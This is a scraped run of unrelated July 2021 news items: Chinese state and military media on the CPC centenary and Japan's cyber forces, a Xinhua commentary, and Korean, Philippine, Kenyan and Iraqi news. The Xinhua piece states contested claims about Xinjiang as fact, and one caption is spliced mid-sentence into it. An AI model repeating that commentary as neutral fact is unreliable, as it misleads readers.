Xi Jinping, general secretary of the Communist Party of China Central Committee, meets on Tuesday at the Great Hall of the People in Beijing with representatives of all who had participated in the preparations for the centenary celebrations of the CPC. Xi, also China's president and chairman of the Central Military Commission, expressed appreciation for their work and achievements, encouraging them to work hard to make new contributions. LI XUEREN/XINHUA Xi Jinping, general secretary of the Communist Party of China Central Committee, has spoken highly of the grand celebrations of the centenary of the Party's founding and called for using the strong positive energy generated by the series of events to pool strength for national rejuvenation. Xi, who is also China's president and chairman of the Central Military Commission, met on Tuesday with representatives of participants in the preparations for the celebrations, and he expressed appreciation for their work and achievements. While presiding over a recent meeting of the Standing Committee of the Political Bureau of the CPC Central Committee, Xi stressed that grandly celebrating the 100th anniversary of the Party's founding was a major decision made by the CPC Central Committee from a strategic and overall perspective, according to a news release issued on Tuesday. During that meeting, Xi called the celebrations a major event for the Party and the State in the political field, saying that the celebrations had promoted unity, inspired people and boosted their morale. As the preparations for the celebrations involved a large number of people as well as massive coordination efforts, Xi said the participants had faithfully implemented the decisions and measures of the CPC Central Committee and worked effectively to make the celebrations a grand occasion of the Party and a festival for the people. Xi called for taking advantage of the strong passion and positive energy to pool strength for fully building China into a modern socialist country. Efforts should be made to draw from the experience and wisdom of the century-old history of the Party to better understand and leverage the laws governing historical development, Xi said. He underlined the importance of building a strong Party to ensure it is, as always, the core of the leadership for the cause of socialism with Chinese characteristics. Greater efforts should be made to present the CPC's story to the world in order to effectively improve the global influence of the Party and the State, Xi said. He called for summing up the successful experiences of organizing the celebration activities. Xi also urged follow-up steps to consolidate the results of the celebrations, and to work hard to make a good start with the 14th Five-Year Plan (2021-25) and achieving the second centenary goal of building a modern socialist country by 2049, when the People's Republic of China celebrates its centenary. Speaking at Tuesday's meeting with representatives of the participants in preparations for the celebrations, Wang Huning, a member of the Standing Committee of the Political Bureau of the CPC Central Committee and a member of the Secretariat of the CPC Central Committee, called for advancing the thematic campaign of Party history learning.


Yixian, Anhui province, is one of the country's smallest counties in terms of population with about 76,000 residents. Nevertheless, the county possesses 1,684 immovable cultural relicsmostly ancient residential buildingsand was thus recently listed by the State Council, China's Cabinet, as a national famous historical and cultural city, a list that also includes counties. The central government has so far granted the title to 137 regions, which vary from metropolises as large as Beijing to counties as small as Yixian. Xu Juan, deputy director of Yixian's housing and urban-rural development bureau, said the county first applied for the national honor in 2010. "One of the highest honors a region could get in China, the award is the result of the local government's all-out efforts," she said, adding that Yixian was established as a county more than 2,200 years ago during the Qin Dynasty (221-206 BC). To distinguish Yixian from other regions, the State Council's statement, issued in June, emphasizes that the county has "distinctive characteristics for regional culture", a reference to its Huizhou culture, according to Xu. Huizhou prefecture, which existed for nearly eight centuries, was established in the 1120s to govern six counties, including Yixian. So far, three Huizhou counties have been listed as national famous historical and cultural cities. The listing of Yixian will play an important role in protecting Huizhou culture and preserving its heritage, according to the local government. Comprehensive protection The State Council approved 99 national famous historical and cultural cities in three batches1982, 1986 and 1994and approved another series of regions subsequently. According to the Law of the People's Republic of China on the Protection of Cultural Relics, such a city is defined as one with an unusual wealth of relics of important historical value, or high revolutionary memorial significance. The law was first issued in 1982 and has been amended multiple times. The first three batches of cities were recommended by a national team of experts. The central authorities listed the cities and required local governments to carry out strict protection measures. Regulations were later updated to call on such regions to be approved for the designation at the provincial level, which meant provincial authorities had to look more strictly into how the relics were being preserved. In addition, a supplementary law was created for the Regulation on the Protection of Famous Historical and Cultural Cities, Towns and Villages, which took effect on July 1, 2008. According to that regulation, such areas should meet multiple conditions, including demonstrating their efforts to strongly preserve cultural relics and clustered historical buildings. The basic requirement is that these areas must have two or more historical and cultural blocks within their protection, the regulation says. In addition, traditional patterns and historical styles and features should be preserved in such regions, and applicant areas should either have been a historically political, economic, cultural, transportation or military center or have been the site of a historical event, according to the regulation. Those that don't meet requirements may still qualify if they have traditional industries, or have completed major historical projects that have had an impact on the development of their respective areas, or they collectively reflect the cultural or ethnic features of their local architecture. Conflicts and warnings Yixian has preserved 92 cultural heritage protection units, including Xidi and Hongcun villages, which have jointly been designated as a UNESCO World Heritage Site. In addition, the county has preserved six national famous historical and cultural villages, 44 national traditional villages, three provincial famous historical and cultural blocks and 66 intangible cultural heritage items, according to the local government. Being listed as a national famous city poses potentially exceptional opportunities but also tremendous challenges for the local cultural heritage protection and tourism development, said Xu, the Yixian official. In 2013, the central authorities publicly criticized eight national famous historical and cultural citiesincluding Anhui's Shouxian county, which was listed in 1986for their incompetent cultural heritage protection measures. Shouxian was the last capital of the Chu Kingdom during the Warring States Period (475-221 BC) and has preserved a city wall built during the Song Dynasty (960-1279). Maintaining the urban area's historical layout meant the county could not carry out large-scale infrastructure construction. And restoring the large number of dilapidated ancient buildings inside the walled area placed tremendous financial pressure on the government, according to Shen Qiang, former Party chief of Huainan city, which has governed the county since 2015. Shouxian had been a key national county for poverty alleviation until 2019. Though the local government had taken corrective measures, relative efforts seemed difficult, according to Shen, who made the remarks in 2016. Though multiple levels of governments had invested 279 million yuan ($43 million) during the 12th Five-Year Plan period (2011-15) to protect the ancient city, the county still lacked enough funds to restore 145 ancient buildings and move the original residents out to new urban areas, Shen said. Between 2010 and 2013, Datong city in Shanxi province, which was part of the 1982 batch, rebuilt its ancient city wall with stones and bricks. The wall was originally built with rammed earth. Datong has also been criticized by the central authorities. In 2019, it was pointed out that the city has replaced many of its original ancient buildings with new ones that were simply built in an ancient style. At a news conference in 2014, the National Cultural Heritage Administration said that it would implement a withdrawal mechanism for national famous historical and cultural cities. If a city loses its designation, officials responsible for wrongful practices will be seriously punished. After Datong and four other cities were criticized in 2019, they were warned that they would have three years to correct their mistakes. "Better protection of ancient buildings and cultural heritage requires delicate restoration and avoidance of major surgical operations," said Xu, whose department is making a plan for cultural heritage protection before 2035.


The picture shows a screenshot of the notice on the website of Chinas Maritime Safety Administration on July 13, 2021.

BEIJING, July 14 -- According to a notice released by Chinas Shandong Maritime Safety Administration on July 13, major military exercises are carried out in waters of the Yellow Sea from July 13 to July 16, 2021, local time.

MILITARY EXERCISES FROM 130400UTC TO 160400UTC JUL IN AREA BOUNDED BY 36-52.5N/122-49.5E,36-52.5N/123-04.0E, 36-25.0N/123-04.0E,36-25.0N/122-33.0E AND 36-38.0N/122-33.0E AND IN AREA BOUNDED BY 35-56.0N/123-06.0E,35-56.0N/123-15.0E, 35-49.0N/123-15.0E AND 35-49.0N/123-06.0E.

ENTERING PROHIBITED.

SHANDONG MSA CHINA
By Zhang Zongfa and Xi Haichun

The medal-awarding ceremony of the Southern Sector of the MONUSCO in 2021 is held at the "Chinese Peninsula" camp. Photo by Xi Haichun

BEIJING, July 14 -- The medal-awarding ceremony of the Southern Sector of the United Nations Organization Stabilization Mission in the Democratic Republic of the Congo (MONUSCO) in 2021 was held at the "Chinese Peninsula" camp on July 12, local time.

Peacekeepers from four countries including China, Pakistan, Indonesia, and Uruguay participated in the event. All 218 members of the 24th Chinese peacekeeping troops to the Democratic Republic of the Congo (DRC) were awarded the UN Peace Medal of Honor.

At 9 a.m. on July 12, Lieutenant General Marcos De Sa Affonso Da Costa, Force Commander for the MONUSCO, inspected the peacekeeping forces and awarded the UN Peace Medal of Honor to representatives of peacekeepers.

The commander of MONUSCO spoke highly of the outstanding performance of Chinese peacekeepers. "You have done a lot of work to maintain world peace and regional stability, promote economic and social development, and improve the living conditions of local people. You are the best and most popular team in the mission area," he said.

It is learnt that since the 24th Chinese peacekeeping troops to the DRC was deployed in September 2020, in the face of political turmoil, complex situations and raging disease, the engineering contingent has overcome many difficulties and completed 39 engineering tasks and more than 10 emergency rescue tasks with high standards; the medical contingent received a total of 483 patients, carried out 174 operations, and undertook the COVID-19 nucleic acid testing and vaccination tasks. The two contingents were both highly praised by MONUSCO and the local people for their outstanding performance.

The commander of MONUSCO awards Wang Shaohong, commander of the Chinese peacekeeping engineering contingent the UN Peace Medal of Honor. Photo by Xi Haichun

The Chinese peacekeeping troops march past the podium during the military parade at the medal-awarding ceremony. Photo by Xi Haichun
Photo taken on June 17, 2021 shows the U.S. Capitol building in Washington, D.C., the United States. (Xinhua/Liu Jie)

by Xinhua writer He Fei

BEIJING, July 13 (Xinhua) -- Washington's agitation to preserve its technological edge by suppressing China seems to be running unimaginably wild these days.

Most recently, the U.S. administration added another batch of Chinese technology firms to its entity list over their alleged roles in so-called human rights abuses in Xinjiang and connections with the Chinese military. Before that, it was reported to have rejected visa applications by more than 500 Chinese students planning to pursue postgraduate study in sciences and engineering at top American universities.

Those moves show that the current White House is still taking its cue from the toxic China policy engineered by the administration of Donald Trump.

Blacklisting those Chinese firms has nothing to do with improving the human rights conditions in Xinjiang. U.S. politicians pay no more than lip service even when tackling human rights problems at home. How can they have real love for people in a region far off America's shores?

Anyone with real knowledge of Xinjiang and an objective mind knows that the region has witnessed remarkable progress in recent years: the Uygur population continues to grow; terrorist acts have been tamed; and living standards have significantly improved.

The United States, in sharp contrast, has a rather lamentable human rights record. Yet it seems that America's political leaders are either indifferent to or clueless about solving such chronic problems as systemic racial discrimination or a widening wealth gap.

A visitor takes pictures of an AI-powered robot brewing coffee during the China International Big Data Industry Moreover, Washington's move to deny visa applications of those Chinese science students is yet another proof that the United States is getting increasingly agitated towards China's technological progress and is turning to self-isolation and protectionism for help.

For the record, China's purpose to promote scientific and technological advancement is not to outcompete the United States, but to improve the welfare of its own people and contribute to the world's peaceful development.

And it would be infantile for China hawks in Washington to resort to blacklisting some Chinese firms or refusing to admit some Chinese students to prevent China from moving forward.

In fact, despite Washington's repeated sanctions, China has still managed to achieve substantial technological progress over the years.

Washington's bullying tactics harm itself and the rest of the world: America's credibility as a free and open country will be the first victim; people-to-people exchanges between China and the United States will take another hit; and the widely-accepted rules governing global trade will be severely disrupted.

The United States is the world's sole superpower and the most advanced country in scientific innovation. Its own story of success indisputably attests to the necessity of openness and international cooperation for technological progress.

Sadly, Washington's ballooning hubris and self-serving protectionist slant are demolishing the fundamentals that once underpinned the edifice of America's technological power, and leading the country down the wrong path.

The United States should once again embrace a spirit of collaboration to maintain its technological competitiveness in the 21st century. It stands to lose otherwise. After all, America's biggest enemy is itself, not China.
Cybersecurity forces of the Japanese Self-Defense Forces (File Photo)

By Wang Aoduo

The Ministry of Defense of Japan will bolster its cybersecurity forces as it plans to expand the current 660 cybersecurity forces of the Japanese Self-Defense Forces (JSDF) to more than 1,000 by 2023, according to Japanese media reports. Why does Japan vigorously expand its cybersecurity forces? What strategic attempt does it reveal? Military observer Du Wenlong provides his interpretations.

Japanese officials pointed out that the expansion of the cyberforce is to ensure that the communication network of the JSDF will not be damaged. In this regard, Du believes that except for some malicious hacking, other countries will not launch online threats against Japanunless Japan provokes other countries online.

Japan, however, played the "sadfishing card" at this time, so as to conceal the true purpose of its cybersecurity forces, which is to implement offensive operations in virtual space to add new combat capabilities and combat spaceto the JSDF through this invisible offense and blade.

It is also reported that the Japanese Ministry of Defense has hired network experts from private companies such as Nippon Telegraph and Telephone Corporation since July 1. Du believes that this move may be based on two considerations.

The first is for"stealth". These experts are not in the Japanese military establishment, but they can join the Japanese cybersecurity forces without expanding the size of their forcesat critical moments. Such "stealth fighters" will enable Japan to have stronger cyber offensive capabilities in the future.

The second is to save time and effort. If Japan quickly concentrates network talents with certain professional knowledge in local communications companies, itscybersecurity forces will be able to form very strong cyber offensive and defense capabilities in a short time. The period can be greatly shortened compared with training personnel from scratch.

In addition, Du also pointed out that Japan's expansion of its cybersecurity forces will encourage its expansion ambitions. Japan has continuously strengthened its cyber-coordination with the US, and its cybersecurity forces have roughly the same structure compared with the US. Japan will have a very serious negative impact on global cybersecurity once it works with the US.

First, the expansion of Japanese cybersecurity forces will promote Japan's military normalization in invisible space. If Japan builds aircraft carriers, bombers, and long-range missiles, it will be restricted by the peace constitution. But if it takes the lead in achieving offensive capabilities within a virtual space that people cannot observe, it will help Japan's ambition of pursuing the so-called "military normalization."

Second, the expansion of Japanese cybersecurity forces will have a great impact on global cybersecurity. Once Japan works with the US, then key areas aroundthe world may become the main targets of a joint US-Japan cyberattack, thereby disturbing the global cybersecurity situation.

Therefore, Du believes that Japan's continuous strengthening of military interaction with the US in cyberattacks and strengthening its cyberattack capabilities will have an extremely serious negative impact on global cybersecurity.

Disclaimer: This article is originally published on the military.cnr.cn, and is translated from Chinese into English and edited by the China Military Online. The information, ideas or opinions appearing in this article do not necessarily reflect the views of eng.chinamil.com.cn.
By Li Jianwen

BEIJING, July 14 -- The Chinese military hosted a theoretical seminar celebrating the 100th anniversary of the founding of the Communist Party of China (CPC) in Beijing on July 13. General Zhang Youxia, member of the Politburo of the CPC and vice chairman of the Central Military Commission (CMC), attended the seminar and delivered a speech.

Admiral Miao Hua, member of the CMC and director of the CMC Political Work Department, presided over the seminar.

Gen. Zhang Youxia stressed at the seminar that the military must deepen the study and research of the spirit of Chinese President Xi's important speech made on July 1. He pointed out that the military will follow the leadership ideology of "The Party commands the gun" and focus on combat readiness based on the spiritual source of a century of struggle. The military should also find a new way to strengthen the research and interpretation of President Xi's speech, and provide solid theoretical support for accelerating the modernization of national defense and the armed forces.
Editor's Note: Under the leadership of the Communist Party of China (CPC), China has worked with all other countries to build a community with a shared future for mankind, which has boosted confidence and added impetus for development of Asia and the world. For the celebration of the 100th funding anniversary of the CPC, we are launching the CPC in eyes of foreign military students series, viewing China and CPC from the perspective of foreign soldiers.

The first batch of COVID-19 vaccine provided by the Chinese government to Zimbabwe is delivered and installed at Beijing Capital International Airport on the afternoon of February 14 2021. This is one of the first vaccine assistance provided by the Chinese government to African countries.(file photo from huanqiu.com)

By Blessed Ncube, Second lieutenant of Zimbabwean Army

Walking in the streets and lanes in China, I can always feel friendliness of the Chinese people. Every time I was in trouble, they'd offer help with amiable smile on their faces like they were my friends.

I came to China in 2019 and have studied and lived in the PLA Army Engineering University for more than two years. During this period, Ive learned much more about the Communist Party of China (CPC), the ruling party in China and had a deeper understanding of this peace-loving country and its peace-loving people.

Chinas adherence to the path of peaceful development sets an example for the world. In my opinion, peace means a safe and stable environment in which a country can develop steadily and its people can live and work in peace and contentment. Such a safe and stable environment can be found everywhere in China. Under the leadership of the CPC, Chinas productive force has developed by leaps and bounds in the past 40-plus years and peoples living standards have been raised dramatically. Such remarkable achievements would not take place if there were not a good and safe environment.

China used to suffer from foreign aggression and it fought long and hard for national liberation. The peaceful life it enjoys today is created by Chinese people through unremitting and arduous revolutionary struggles under the leadership of the CPC. That historical period drenched in the blood has made the CPC and Chinese people be aware more keenly of how precious peace is and therefore cherish and safeguard peace with greater efforts.

This year marks the 50th anniversary of the resuming of Chinas legitimate seat at the United Nations. China has always held up high the banner of peace and development all these years. Whether they are attending United Nations peacekeeping operations or carrying out escort tasks at the Gulf of Aden and in waters off the Somalian coast, Chinese soldiers are making contributions to world peace with concrete actions.

In addition, the Belt and Road Initiative (BRI) proposed by China is also conveying the concept of peaceful development. The initiative is committed to promoting infrastructure connectivity among countries along the Belt and Road and advocating exchanges and mutual learning among civilizations. As the BRI advances, it has considerably boosted economic and trade cooperation between China and African countries and brought about tangible changes for African people. Zimbabwe is also cooperating with China on several projects under the BRI framework, which has not only driven our economic and social development but also created many jobs.

Moreover, whether in pushing the international community to tackle climate change and other global challenges through solidarity and cooperation, or playing an important role in addressing regional hotspot issues, China always adheres to multilateralism and advocates unity and cooperation. Last year, the outbreak of the COVID-19 pandemic made the world more supportive of the China-proposed vision of a community with a shared future for mankind. Chinas actions in helping other developing countries fight against the COVID-19 demonstrate its sense of responsibility as a major country and deliver its commitment to peaceful development. China has also provided COVID-19 vaccines to Zimbabwe, making Zimbabwe one of the first countries in Africa to start vaccination against the virus.

The CPC always adheres to peaceful development and makes unremitting efforts to maintain world peace and stability. I believe if every member of the international community sticks to and works for peaceful development, the world will become a better place for all.

(This article is based on an interview by the PLA Daily with Zimbabwean Army Second Lieutenant Blessed Ncube, who had once studied at China's PLA Army Engineering University.)
Seventy-two people have been killed in riots and looting in South Africa, police said Tuesday, amid protests over the jailing of former president Jacob Zuma.

Violence erupted last week when Zuma began serving a 15-month jail sentence for contempt of court.

In the country's worst unrest in years, looters vandalized shopping malls, other retail outlets and businesses in the province of Gauteng, which includes the country's largest city of Johannesburg. Security forces seemed unable to prevent the looting and attacks, which also occurred in Zuma's home province, KwaZulu-Natal and in Soweto.

But protesters have also taken to the street to denounce economic hardship which has increased during the pandemic over the last year.

The increased death toll comes as South Africa announced it would deploy thousands of troops to reinforce overwhelmed police officers in two states.


Korea drew with Argentina in a warm-up match just ahead of the Summer Olympic Games, which are set to begin in Tokyo next week.

In the match held in Yongin, Gyeonggi Province on Tuesday, Argentina took an early lead with an opening goal in the 12th minute, but Korea stayed on the offensive and ended the first half with the score tied thanks to midfielder Lee Dong-young's goal in the 35th minute.

However, just 10 minutes into the second half, Argentina netted another goal to recapture the lead. With a series of mistakes in defense, there seemed to be no hope of a turnaround, but winger Um Won-sang managed to score an injury-time equalizer to end the match with a 2-2 draw.


Many businesses are trying to help staff cope with depression, anxiety and burnout caused by working from home for over a year.

IT companies were the first to keep employees at home but also led the way in offering psychological counseling in lockdown, and now other businesses are following suit.

Steelmaker POSCO increased the number of counselors from one to two at factories in Pohang, North Gyeongsang Province and Gwangyang, South Jeolla Province and let workers at subcontractors seek their help too. Around 2,100 staff and their family members sought counseling last year, and this year the number has already surpassed 1,500.

Other companies offer online counseling. LG Chem makes it available to 20,000 staff in 17 countries, and Lotte started it late last year.

One reason is a dramatic increase in compensation cases filed for work-related depression, which rose 56.2 percent to 517 last year. Korea ranks at the top of the OECD in terms of the proportion of depression (36.8 percent) out of total illnesses.


Online shopping mall Interpark has been put up for sale as first-generation e-commerce companies yield to more thrusting rivals. Only last week eBay Korea was bought by Shinsegae, while Interpark has recently sent out teasers to potential buyers like Naver and Kakao.

Founded in 1995, Interpark became the first e-commerce business to be listed on the Kosdaq in 1999. At the time, it made inroads into the market through an innovative free delivery service and a competitive pricing strategy and gained the top market share in 2003.

In 2008 Interpark sold its stake of Gmarket for more than W1 trillion to eBay Korea as competition intensified due to newcomers like Auction and 11st (US$1=W1,145).

It also launched a ticket booking platform and gained a whopping 70 percent share in the market, but the coronavirus pandemic dealt it a huge blow.

Industry insiders speculate that Kakao or Naver, which run similar services, could be tempted to buy, but so far both have said they are not interested.
The LG plant in an industrial park in the port city of Durban suffered significant damage after some 90 unidentified people looted it at 1:00 a.m. Monday and another 120 again at 2:00 a.m., according to the Korean Embassy there.

Rioting began on July 9, when supporters of former President Jacob Zuma took to the streets in protest against a court decision to jail him for corruption.

South African rioters looted and burned a TV factory belonging to Korea's LG Electronics on Monday as political unrest escalated.

They looted electronic goods, equipment and materials. The production facilities and warehouses were set fire in the afternoon, LG said.

Local TV news showed flames and black smoke coming from the plant, where about 100 workers have been assembling TVs and monitors since 2011. No casualties were reported, but LG suffered billions of won in damage (US$1=W1,145).

The Korean Embassy has warned some 3,300 Korean residents in South Africa to remain indoors if they can and take precautions.

The riots erupted amid a crippling recession and protracted coronavirus lockdown. Unemployment stood at 32.6 percent in the first quarter of this year and youth unemployment at a staggering 46.3 percent.

The average daily number of coronavirus cases has been about 20,000 this month, but only 6.4 percent of its 59 million people have been given at least their first vaccine shot.
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Press Release

July 14, 2021 De Lima deplores reported dumping of human waste by Chinese vessels in WPS Opposition Senator Leila M. de Lima deplored the reported dumping of human waste and sewage by Chinese ships in parts of the West Philippine Sea (WPS) which is said to be creating long-term marine life damage in Philippine waters. De Lima urged the Department of Environment and Natural Resources (DENR) and the Bureau of Fisheries and Aquatic Resources (BFAR), together with the Philippine Coast Guard as well as the Navy, to investigate China's action which is a direct affront to Filipino's dignity. "The reported waste dumping that China is doing in our waters is a serious environmental crime and needs immediate investigation by the DENR, BFAR, the Philippine Coast Guard, and the Navy," she said. "The waste dumping is happening right after the sudden swarm of Chinese militia vessels in the West Philippine Sea this past month. Not only did they intrude in our waters as a show of force, but they also polluted our waters, consequently killing the marine life and the marine ecosystem that sustains them," she added. Based on media reports, Liz Derr, founder and CEO of Simularity, a group which specializes in geospatial analysis and provides satellite data imagery, revealed in a report that Chinese ships have been dumping raw sewage every day for several years on reefs, creating harmful Chlorophyll-a blooms in the waters. "Sewage effluent sources in the Spratly Islands include ship wastewater and human habitation without sufficient sewage treatment. When the ships don't move, the poop piles up," it said in the report. The lady Senator from Bicol said China will never stop with its deplorable acts against the Philippines if Duterte will continue kowtowing to his Beijing masters and refuse to assert our rights in the WPS. "Hindi mahihinto ang ganitong asal sa atin ng China kung patuloy si Duterte sa pagiging tuta ng China. Pinapakita lang ng China na kapag walang gulugod ang Pangulo, tatratuhin lang nilang kubeta ang ating bansa," she said. De Lima said the Philippines is the only country, as per reports, put to what she called as "repugnant treatment of waste dumping in our waters by hundreds of Chinese vessels." "The contrast in the Chinese treatment of ASEAN leaders is clear: the leaders of our co-claimant neighboring countries are resisting China's bullying and abuse, while Duterte is a consummate puppet whose government readily defends China's abuses, even at the expense of calling our own fisherfolk liars when they report such abuses," said De Lima.
Statement of Senator Risa Hontiveros on Japan's affirmation of the 2016 Hague ruling

*Please see attached letter from Embassy of Japan and statement of Japan Foreign Minister MOTEGI Toshimitsu)

I am encouraged by Japan's commitment to uphold the principles of international law by unambiguously supporting the Philippines' 2016 victory at The Hague.

My heartfelt gratitude to Japan's Foreign Minister Hon. Toshimitsu Motegi as well as Amb. Kazuhiko Koshikawa for expressing their assurances that Japan will continue to oppose excessive and illegitimate maritime claims over the entire South China Sea. Domo arigatogozaimashita for being a consistent ally.

I look forward to working and cooperating with Japan, along with other nations in the ASEAN and the Indo-Pacific region, in our common goal of ensuring that disputes are resolved without violence and aggression, and that the generations to come enjoy stability and peace.
Pangilinan files proposed Senate resolution honoring life & service of Nini Avancena-Quezon

SENATOR Francis "Kiko" Pangilinan on Tuesday filed a resolution honoring the life and service of Maria Zeneida "Nini" Quezon-Avancena, the last surviving daughter of the late President Manuel L. Quezon.

"Tita Nini will always be remembered as a staunch ally of freedom, justice, human rights. Her immense passion and love for the country and its people continue to inspire us to fight the good fight," Pangilinan said.

Proposed Senate Resolution No. 776 highlights Avancena's "deep love of country, sense of duty, and unwavering faith in our countrymen" through her contributions in advocating for human rights, social justice, peace, and fighting for the rights, welfare, and freedom of political prisoners during the martial law era.

Avancena was among the founders of the Concerned Women of the Philippines in 1978. The socio-civic organization stood against tyranny; fought for human rights; and defended the poor, exploited, and victims of injustices during the martial rule of the late dictator Ferdinand Marcos.

She also became a member of the Kilusan sa Kapangyarihan at Karapatan ng Bayan (Kaakbay), a group founded by human rights defender and former Senator Jose "Ka Pepe" Diokno, that sought to end the dictatorial rule through non-violent means.

"Through this resolution, we honor her life and service to the nation. Her sacrifice for the sake of freedom and democracy will never be forgotten," Pangilinan said.

Avancena died on July 12, 2021 at the age of 100.
Iraq has arrested a senior army officer who allegedly stole the salaries of peers and fled to Turkey, Middle East Monitor (MEMO) reports, citing the Iraqi military.

Spokesperson for the Iraqi Commander-in-Chief Yehia Rasool announced on Twitter the arrest of Colonel Khaled Al-Mafraji, the media said.

Rasool also indicated that Prime Minister Mustafa Al-Kadhimi was following the process. Turkey according to the army spokesperson cooperated in Al-Mafrajis arrest.

Iraq has launched a war on financial and administrative corruption. Speaking late May in a televised speech, President Barham Salih revealed he had introduced a bill in the parliament to recuperate nearly $150 billion he believes have been smuggled out of the country since 2003.

These illegal funds were enough to put the country in a better place, he said. The bill also includes support for financial and oversight institutions and activating their tools, the President said.

Iraq has witnessed bloody demonstrations in recent years as citizens decried corruption of public officials. Salih during the address also indicated that corruption has disrupted the peoples will to progress.

Iraq ranked 160th over 180 countries in 2020 on the Transparency International Corruption Index.
Prosperity7 Ventures, the investment vehicle of Saudi Arabias largest state-run company has invested in Chinese medical rehabilitation robot firm Fourier Intelligence as part of the startups Series C+ funding round, Zawya reports citing the Chinese company.

All proceeds will go towards global market expansion and technological development, furthering the companys mission to provide intelligent rehabilitation technologies to empower clinicians and neurological patients, the Chinese company said in a Linkedin post.

Launched in 2015, Fourier Intelligence sells physical rehabilitation equipment and robots. It also has research and development R&D centers in Singapore, Chicago, Phoenix, Zurich, Melbourne, Madrid, Kobe and Kuala Lumpur.

With Aramco investment, the company will enter the Saudi market. Fourier Intelligence is leading the way to next-generation rehabilitation. The ability to combine the power of AI analytics with precision robotics can achieve leaps in rehabilitation, said Aysar Tayeb, executive managing director of Prosperity7.

Fourier Intelligence has products installed in more than 1,000 institutions and the company has a client base spanning across 50 countries. Research firm Markets and Markets expects global market for medical rehabilitation equipment to reach $16.6 billion by 2025, from $12.9 billion in 2020.
A man accused of defiling a minor stunned a court when he said he suffers from erectile dysfunction and hence, could not have committed the act.

Francis Wafula, a fuel pump attendant, is accused of defiling a 13-year old girl at a house in Hurlingham in Kilimani, Nairobi.

Wafula accused the girls mother of malice saying they disagreed after he declined her request to sell fuel that she had been stealing from a generator.

The court heard that the girl lives at a house next to the refueling station where Wafula works. The accused is said to have been sneaking in and defiling the girl after luring her with sweets and gifts.

The court was told that Wafula had on several occasions given the child money after defiling her and threatening her to silence.

In his defense, Wafula told chief magistrate Joyce Gandani that he couldnt have defiled the child because he relies on sex-enhancing drugs to rise to the occasion.

I cant do what is said to have done because my manhood cannot perform since 2016. Each time I want to do it with my wife, I must use TNT20 (sex-enhancing drugs), he said.

The magistrate said she would put his claims on records but noted that similar claims have been made by suspects charged with the same offenses who were later found guilty.

Gandani released him on Sh300, 000 bond with the surety of the same amount.

She directed the case to proceed on July 23 for mention.
Raila Odinga is convinced that Kenyans can prosper through a deliberate plan of rural urbanization.

Taking to his social media handles, the former Prime Minister said his bottom-up approach of transforming rural areas will be key in improving the Kenyan economy.

Going forward, and to ensure a more balanced growth, Urban Regeneration will need to go hand in hand with a very deliberate policy of Rural Transformation that makes rural life more livable and migration to cities unnecessary, he said.

Raila said massive investment in rural infrastructure, providing reliable and cheap electricity and clean water are some of the approaches that will enhance rural development.

Other measures that will spur rural urbanization to reduce rural-urban migration include the provision of good public schools, investment in food productions, and the provision of reliable, efficient, and quality health resources, he said.

Transforming Kenya from a poor to a prosperous country will require a very deliberate focus on turning around the fortunes of rural Kenya. It has been done in other countries. I believe it can be done in Kenya, he said.

Raila further hinted that in the event he becomes head of the next government, he will ensure a coordinated and planned growth of rural areas.
President Uhuru Kenyatta last week commissioned two key projects at the Konza Technopolis, signaling the Governments commitment to the completion of the countrys first smart city.

The President, who was on an inspection tour of infrastructure projects implemented by the Government and partners at the technopolis, inaugurated an eight-storey headquarters of Konza Technopolis Development Authority (KoTDA).

Accompanied by former Prime Minister Raila Odinga, Wiper leader Kalonzo Musyoka and ICT Cabinet Secretary Joe Mucheru among other senior Government officials, President Kenyatta also opened the National Data Centre located at the Konza Technopolis.

The ultra-modern office block will provide KoTDA staff and partners a conducive on-site working environment to support accelerated roll-out of the techno city while the data centre will offer reliable infrastructure and business-friendly services through a superior ICT backbone.

Our quest is to be a technology disrupter, M-Pesa set the pace; may the centre that we commission today be an incubator for the next big-global technology disruption. Right here, made in Kenya for the World, President Kenyatta said after his extensive tour of the technopolis.

When complete, the expansive Konza technology city which traverses three neighboring counties of Machakos, Makueni and Kajiado will occupy 5,000-acres of land.

The President also announced that he will soon preside over the ground breaking for the construction of Africas most modern science and technology university.

As an anchor project of the countrys Vision 2030 development blueprint, President Kenyatta said Konza is envisaged to be a world-class technology hub, adding that the Coronavirus pandemic had taught the country the potential of ICT to insulate the economy from unforeseen disruptions.

Upon completion of the project in the next few years, Kenyas position as a global hub for science, technology and innovation will be entrenched further. We have the chance, right now, in the global race to create high-tech jobs in the digital space, the President said.

The Head of State reassured that Kenyas journey towards becoming an industrialised middle-income country was on course, saying the projects being implemented across the country will not only bring development closer to the people but also build a robust foundation to catapult the country into the league of modern and prosperous nations in years to come.

The challenge to each one of us is to continue doing our very best to bring Kenyas great destiny into reality. This requires that we come together as one nation and one people, putting aside partisan interests and divides by building bridges between our communities, he said.

At the same time, the President appealed to politicians to put aside petty differences and individualism, saying those are vices that will prevent the country from achieving its development targets.

Speaking at the event, Mr Odinga said the opening of the state-of-the-art data centre is clear proof that with unity and working together the country will reach new levels of development much faster.

On his part, Mr Musyoka assured President Kenyatta of his full backing as the Government rolls out development projects across the country and take services closer to Kenyans.

ICT Cabinet Secretary Joe Mucheru thanked President Kenyatta for ensuring that the dream of Konza technopolis is realized through the various enabling infrastructure projects being implemented at the city.

Governors Prof Kivutha Kibwana (Makueni), Charity Ngilu (Kitui) and Dr Alfred Mutua (Machakos) also spoke at the event.

Earlier, President Kenyatta presided over the official opening of the new Machakos county offices and convention centre.

The President, who was accompanied by former Prime Minister Raila Odinga and former Vice President Kalonzo Musyoka among other leaders, was received and taken on a guided tour of the ultra-modern office complex by Governor Alfred Mutua.
A lawmaker who caused a buzz after she was spotted with all-female bodyguards has spoken out, explaining why she prefers women.

Anab Gure, the woman representative for Garissa county, stepped out with her armed security detail on Monday during a tour of the county.

Ms Anab was flanked by two female guards dressed in hijabs, military combat bulletproof vests, and carrying AK47 rifles.

I prefer women bodyguards as my security detail. I believe that women can do better than men, Ms Anab told Nation.

The place I went to was 10km from the Somalia border and I saw the need to have one vehicle of security officers accompanying me. The area was recently attacked by suspected Al-Shabaab militants, I could not have risked my life.

She noted that the guards are always with her. No, they do not accompany me on border tours only. They are always with me.

According to the woman rep, having an all-female security detail has an added advantage.

There are some womens personal items I can forget to carry but find that my bodyguards have them in their bags. There are also some talks that I cannot express when I have a male bodyguard, she said.

Ms Anab was in the company of Bura East Deputy County Commissioner, Kipkirui Arap Bett, Fafi OCPD Lawrence Muchangi and Border Point Unit commander Muita Sashi.
